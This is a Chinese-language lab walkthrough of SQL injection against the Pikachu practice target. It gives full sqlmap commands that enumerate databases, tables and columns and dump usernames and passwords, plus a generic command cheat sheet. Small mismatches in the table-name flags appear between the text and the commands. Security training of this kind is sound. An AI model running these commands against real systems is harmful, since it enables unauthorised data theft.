文章目录
今天复现搜索型型注入和xx型注入的案例。本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别sql注入漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。
一、链接分析
通过随机输入字符串,可以看到搜索型注入和xx型注入的提交请求都为 get 请求,其中搜索型注入的数据报为

xx型数据包为:

然后通过 sqlmap 对这两个地址进行扫描,发现其存在的 sql 漏洞依然为 布尔盲注漏洞(boolen-based blind)、报错注入(error-based)、时间盲注(time-based blind)、联合查询注入(union query).
其中
- 联合查询注入(union query)在pikachu靶场------SQL-Inject---1(Kali系统)已经复现,可以对照的在这个接口进行尝试。
- 报错注入(error-based)在pikachu靶场------SQL-Inject---2(Kali系统)完成复现 **(审核一直通不过,有需要的话可以留言)
**,可参考进行尝试。
二、kali 漏洞扫描
今天主要使用 kali 的 sqlmap 实现对漏洞的注入,获取对应的数据库,数据表,数据结构以及具体的数据。本章以搜索型注入为例。
(一)获取数据库
添加 --current-db,完整命令为:
shell
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch --current-db
主要是显示当前连接的数据,返回信息为:

如果需要返回所有数据库,添加 --dbs命令为:
shell
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch --dbs

这里返回的是目标主机所有的数据库,根据实际会有所不同。
(二)获取数据表
需要传入想要查询的数据库名称,-D pikachu --tables,完整命令为:
shell
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu --tables

(三)获取数据表字段信息
需要传入想要查询的数据表名称,-D pikachu --T users --columns,完整命令为:
shell
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu -T user --columns

(四)获取数据
需要传入想要查询的数据表字段名称,-D pikachu --T users --columns,完整命令为:
shell
sqlmap -u 'http://192.168.0.20/pikachu/vul/sqli/sqli_search.php?name=pika&submit=%E6%90%9C%E7%B4%A2' --random-agent --proxy='http://127.0.0.1:8080' --batch -D pikachu -T users -C level,id,password,username --dump

总结
对于使用 kali 的sqlmap 工具进行 sql注入时,其具体命令格式如下:
bash
# 获取所有数据库
sqlmap -u "目标URL" --dbs
# 获取当前数据库
sqlmap -u "目标URL" --current-db
# 获取表
sqlmap -u "目标URL" -D pikachu --tables
# 获取字段
sqlmap -u "目标URL" -D pikachu -T users --columns
# 获取数据
sqlmap -u "目标URL" -D pikachu -T users -C username,password --dump